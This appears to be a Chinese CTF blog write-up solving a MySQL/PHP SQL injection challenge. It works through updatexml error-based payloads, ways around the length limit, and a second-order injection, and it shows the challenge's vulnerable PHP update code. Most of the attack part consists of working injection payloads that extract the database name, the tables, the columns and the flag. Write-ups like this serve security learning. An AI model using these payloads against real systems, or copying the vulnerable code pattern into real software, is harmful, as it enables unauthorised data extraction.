记一 sql update 报错注入/二次注入题

题目分析

打开界面是这样的


大致了解一下三个按钮的基本功能:
1.添加用户

测试了一下,没有限制username输入特殊字符
且查看用户为下:

2.编辑用户

是username的更改
update语句,事先猜想过程是这样——
通过 username 找到对应的用户id,把 username update为 new username ,把原来的 username update为history username
测试过,没有检查username是否存在,但不会显示
3.查看用户

基本没什么需要注意的地方

解题思路一 报错注入

由上分析,基本1、3功能不需要在意,数据库进行的操作只有 2功能 进行的查询和修改。
测试在 对 用户名 1' order by 2 进行修改时,回显如下

Error: You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use 
near '' where id='4'' at line 1

可以猜测sql语句大概是下面这样嵌套查询(也可能是先查到id生成结果集,不一定在一个sql语句中,但功能相同)

update table set HistoryUsername='xxx' , UserName='yyy' where id in 
(select id from table where UserName='xxx')

所以解题流程大概是
添加 用户名为注入语句 ->编辑 用户名为注入语句 更改为 任意->观察回显

updatexml

update注入最常见的就是报错注入,试水updatexml字符型

 ' or updatexml(1,concat(0x7e,(database())),0) or '

接下来就是常规爆表爆列爆数据
爆表

' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),0) or '

爆列

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema =database() and table_name='flag' limit 0,1)),0) or '

爆数据

' or updatexml(1,concat(0x7e,(select flag from flag)),0) or '


可以发现最后爆数据的时候只显示了一部分flag
以前做题的时候也模糊有印象,updatexml是有长度限制的

updatexml长度限制的解决方法

1.updatexml(1,(select max(flag)from flag),1)
参考实例:http://www.vuln.cn/8107
2.substr截取
如这题(这里flag是新的实例,不同上面,避免误会,说一下)
这个方法是最常用的

' or updatexml(1,concat(0x7e,substr((select flag from flag),20)),0) or '


3.left/right截取
在substr/substring过滤的情况下,还可以用left/right进行截取,实例参考 [极客大挑战 2019]HardSQL 这道题。

' or updatexml(1,concat(0x7e,(select right(flag,20) from flag),0x7e),0) or '

解题思路二 二次注入

其实像这种 先添加用户,再编辑用户 这种,有两个步骤的注入,也可以用二次注入。
这里通过白盒的视角更能明白,下面给出查询的源码。

<?php
if(isset($_POST['username']) && isset($_POST['new_username'])) {
    $username = addslashes($_POST['username']);
    $new_username = addslashes($_POST['new_username']);
    $result = query("select * from users where username = '$username';");

    foreach($result as $item) {
        $username = $item['username'];
        $id = $item['id'];
        query("update users set username = '$new_username',history_username='$username' where id='$id';");
    }

    header('Location: /?file=select.php');
}
?>

如解题思路一 黑盒测的时候猜想,是 先生成一个结果集,再来比对id

select * from users where username = '$username'

二次注入 我们这样用

',username=database();#
select * from users where username = '',username=database();#'
update users set username = '$new_username',history_username='',username=database();#' where id='$id'

用一个表来测试一下上面的结果




第一个select语句是会报错的
那么结果集就是空的
第二个update语句username被修改了两次,结果显示的是最后一次修改,即database()
由此,下面的注入就很轻松了

',username=database();#
查看用户得 库名test
',username=(select table_name from information_schema.tables where table_schema = database() limit 0,1);#
查看用户得 表名flag
',username=(select column_name from information_schema.columns where table_schema =database() and table_name='flag' limit 0,1);#
查看用户得 列名flag
',username=(select flag from flag);#
查看用户得 最终flag

sql注入,重中之重,就是要去猜sql语句,同时结合前端是否给你回显,过滤了什么,对症下药,希望以后能越走越远XD

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。